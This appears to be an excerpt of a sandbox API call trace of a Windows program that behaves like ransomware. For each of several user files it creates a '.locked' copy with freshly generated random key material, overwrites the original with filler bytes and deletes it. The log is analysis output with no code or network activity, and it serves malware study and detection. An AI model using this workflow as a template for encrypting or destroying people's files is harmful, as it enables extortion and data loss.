	[0070.070] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.070] SetEvent (hEvent=0x78) returned 1
	[0070.070] SetEvent (hEvent=0x80) returned 1
	[0070.070] SetEvent (hEvent=0xb4) returned 1
	[0070.071] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.071] SetEvent (hEvent=0xb4) returned 1
	[0070.073] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.073] SetEvent (hEvent=0xa8) returned 1
	[0070.073] SetEvent (hEvent=0xb4) returned 1
	[0070.074] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.074] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.074] SetEvent (hEvent=0xb4) returned 1
	[0070.074] SetEvent (hEvent=0x80) returned 1
	[0070.074] SetEvent (hEvent=0x78) returned 1
	[0070.074] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.075] SetEvent (hEvent=0xa8) returned 1
	[0070.075] SetEvent (hEvent=0x78) returned 1
	[0070.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\6UB4wAdI8gi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\6ub4wadi8gi.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.076] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.076] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.093] CloseHandle (hObject=0xc0) returned 1
	[0070.101] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\6UB4wAdI8gi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\6ub4wadi8gi.png")) returned 1
	[0070.110] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\GuwyiBN4YBoT6oCbSzO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\guwyibn4ybot6ocbszo.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa10b280, ftCreationTime.dwHighDateTime=0x1d4cbe3, ftLastAccessTime.dwLowDateTime=0x7d42fe30, ftLastAccessTime.dwHighDateTime=0x1d4d394, ftLastWriteTime.dwLowDateTime=0x7d42fe30, ftLastWriteTime.dwHighDateTime=0x1d4d394, nFileSizeHigh=0x0, nFileSizeLow=0xdd6b)) returned 1
	[0070.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\GuwyiBN4YBoT6oCbSzO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\guwyibn4ybot6ocbszo.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.111] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\GuwyiBN4YBoT6oCbSzO.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\guwyibn4ybot6ocbszo.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.111] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.112] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.112] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.112] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0070.112] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.114] SetEvent (hEvent=0x80) returned 1
	[0070.114] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xdd6b, lpOverlapped=0x0) returned 1
	[0070.122] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xdd6b, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xdd6b, lpOverlapped=0x0) returned 1
	[0070.124] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.124] CloseHandle (hObject=0xc4) returned 1
	[0070.126] CloseHandle (hObject=0xc0) returned 1
	[0070.126] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.127] SetEvent (hEvent=0x80) returned 1
	[0070.127] SetEvent (hEvent=0x78) returned 1
	[0070.127] SetEvent (hEvent=0xb4) returned 1
	[0070.127] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.127] SetEvent (hEvent=0xa8) returned 1
	[0070.127] SetEvent (hEvent=0xb4) returned 1
	[0070.127] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4b) returned 1
	[0070.133] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\GuwyiBN4YBoT6oCbSzO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\guwyibn4ybot6ocbszo.mp3")) returned 1
	[0070.151] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.152] SetEvent (hEvent=0xa8) returned 1
	[0070.152] SetEvent (hEvent=0x78) returned 1
	[0070.156] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.156] SetEvent (hEvent=0x78) returned 1
	[0070.156] SetEvent (hEvent=0xb4) returned 1
	[0070.156] SetEvent (hEvent=0x80) returned 1
	[0070.156] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.157] SetEvent (hEvent=0x80) returned 1
	[0070.158] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.159] SetEvent (hEvent=0x80) returned 1
	[0070.159] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.159] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.159] SetEvent (hEvent=0x80) returned 1
	[0070.159] SetEvent (hEvent=0xb4) returned 1
	[0070.159] SetEvent (hEvent=0x78) returned 1
	[0070.159] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.160] SetEvent (hEvent=0x78) returned 1
	[0070.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\GuwyiBN4YBoT6oCbSzO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\guwyibn4ybot6ocbszo.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.161] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.161] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.189] CloseHandle (hObject=0xc0) returned 1
	[0070.219] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\GuwyiBN4YBoT6oCbSzO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\guwyibn4ybot6ocbszo.mp3")) returned 1
	[0070.227] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\RYzmia1V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\ryzmia1v.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2c48f70, ftCreationTime.dwHighDateTime=0x1d4c780, ftLastAccessTime.dwLowDateTime=0x118863d0, ftLastAccessTime.dwHighDateTime=0x1d4cec4, ftLastWriteTime.dwLowDateTime=0x118863d0, ftLastWriteTime.dwHighDateTime=0x1d4cec4, nFileSizeHigh=0x0, nFileSizeLow=0x110cb)) returned 1
	[0070.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\RYzmia1V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\ryzmia1v.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.227] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\RYzmia1V.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\ryzmia1v.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.237] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.243] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.243] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.244] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0070.244] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.246] SetEvent (hEvent=0xb4) returned 1
	[0070.246] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x110cb, lpOverlapped=0x0) returned 1
	[0070.248] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x110cb, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x110cb, lpOverlapped=0x0) returned 1
	[0070.249] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.249] CloseHandle (hObject=0xc4) returned 1
	[0070.251] CloseHandle (hObject=0xc0) returned 1
	[0070.251] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0070.259] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.259] SetEvent (hEvent=0xb4) returned 1
	[0070.259] SetEvent (hEvent=0x78) returned 1
	[0070.259] SetEvent (hEvent=0x80) returned 1
	[0070.260] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.266] SetEvent (hEvent=0xa8) returned 1
	[0070.266] SetEvent (hEvent=0x80) returned 1
	[0070.266] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee83c*=0x40) returned 1
	[0070.305] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\RYzmia1V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\ryzmia1v.mp3")) returned 1
	[0070.330] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.331] SetEvent (hEvent=0xa8) returned 1
	[0070.331] SetEvent (hEvent=0x78) returned 1
	[0070.337] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.337] SetEvent (hEvent=0x78) returned 1
	[0070.337] SetEvent (hEvent=0x80) returned 1
	[0070.337] SetEvent (hEvent=0xb4) returned 1
	[0070.337] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.338] SetEvent (hEvent=0xb4) returned 1
	[0070.340] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.340] SetEvent (hEvent=0xb4) returned 1
	[0070.341] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.341] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.341] SetEvent (hEvent=0xb4) returned 1
	[0070.341] SetEvent (hEvent=0x80) returned 1
	[0070.341] SetEvent (hEvent=0x78) returned 1
	[0070.341] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.342] SetEvent (hEvent=0x78) returned 1
	[0070.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\RYzmia1V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\ryzmia1v.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.342] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.343] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.360] CloseHandle (hObject=0xc0) returned 1
	[0070.368] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\RYzmia1V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\ryzmia1v.mp3")) returned 1
	[0070.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\_cxpP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\_cxpp.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431cbc40, ftCreationTime.dwHighDateTime=0x1d4d1a6, ftLastAccessTime.dwLowDateTime=0x8fe23ea0, ftLastAccessTime.dwHighDateTime=0x1d4c61c, ftLastWriteTime.dwLowDateTime=0x8fe23ea0, ftLastWriteTime.dwHighDateTime=0x1d4c61c, nFileSizeHigh=0x0, nFileSizeLow=0xaa4b)) returned 1
	[0070.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\_cxpP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\_cxpp.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.378] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\_cxpP.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\_cxpp.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.378] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.378] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.378] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.378] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc301 | out: pbBuffer=0x123bc301) returned 1
	[0070.379] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.381] SetEvent (hEvent=0x80) returned 1
	[0070.381] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xaa4b, lpOverlapped=0x0) returned 1
	[0070.382] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xaa4b, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xaa4b, lpOverlapped=0x0) returned 1
	[0070.383] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.383] CloseHandle (hObject=0xc4) returned 1
	[0070.384] CloseHandle (hObject=0xc0) returned 1
	[0070.385] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.385] SetEvent (hEvent=0x80) returned 1
	[0070.385] SetEvent (hEvent=0x78) returned 1
	[0070.385] SetEvent (hEvent=0xb4) returned 1
	[0070.385] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.385] SetEvent (hEvent=0xb4) returned 1
	[0070.386] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee83c*=0x3d) returned 1
	[0070.387] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\_cxpP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\_cxpp.mkv")) returned 1
	[0070.408] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.408] SetEvent (hEvent=0xa8) returned 1
	[0070.408] SetEvent (hEvent=0x78) returned 1
	[0070.414] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.415] SetEvent (hEvent=0x78) returned 1
	[0070.415] SetEvent (hEvent=0xb4) returned 1
	[0070.415] SetEvent (hEvent=0x80) returned 1
	[0070.415] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.415] SetEvent (hEvent=0x80) returned 1
	[0070.417] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.418] SetEvent (hEvent=0x80) returned 1
	[0070.418] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.418] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.419] SetEvent (hEvent=0x80) returned 1
	[0070.419] SetEvent (hEvent=0xb4) returned 1
	[0070.419] SetEvent (hEvent=0x78) returned 1
	[0070.419] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.419] SetEvent (hEvent=0x78) returned 1
	[0070.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\_cxpP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\_cxpp.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.420] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0070.421] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.440] CloseHandle (hObject=0xc0) returned 1
	[0070.450] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\_cxpP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\_cxpp.mkv")) returned 1
	[0070.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\m26Dpmh_oT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\m26dpmh_ot.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963de90, ftCreationTime.dwHighDateTime=0x1d4cbe7, ftLastAccessTime.dwLowDateTime=0x23318340, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x23318340, ftLastWriteTime.dwHighDateTime=0x1d4c614, nFileSizeHigh=0x0, nFileSizeLow=0x388d)) returned 1
	[0070.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\m26Dpmh_oT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\m26dpmh_ot.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.462] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\m26Dpmh_oT.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\m26dpmh_ot.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.464] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.464] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0070.464] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0070.464] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0070.465] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.467] SetEvent (hEvent=0xb4) returned 1
	[0070.467] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x388d, lpOverlapped=0x0) returned 1
	[0070.468] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x388d, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x388d, lpOverlapped=0x0) returned 1
	[0070.469] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.469] CloseHandle (hObject=0xc4) returned 1
	[0070.470] CloseHandle (hObject=0xc0) returned 1
	[0070.470] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0070.471] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.471] SetEvent (hEvent=0xb4) returned 1
	[0070.471] SetEvent (hEvent=0x78) returned 1
	[0070.471] SetEvent (hEvent=0x80) returned 1
	[0070.471] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.472] SetEvent (hEvent=0xa8) returned 1
	[0070.472] SetEvent (hEvent=0x80) returned 1
	[0070.472] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x42) returned 1
	[0070.474] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\m26Dpmh_oT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\m26dpmh_ot.bmp")) returned 1
	[0070.492] SetEvent (hEvent=0x78) returned 1
	[0070.497] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.497] SetEvent (hEvent=0x78) returned 1
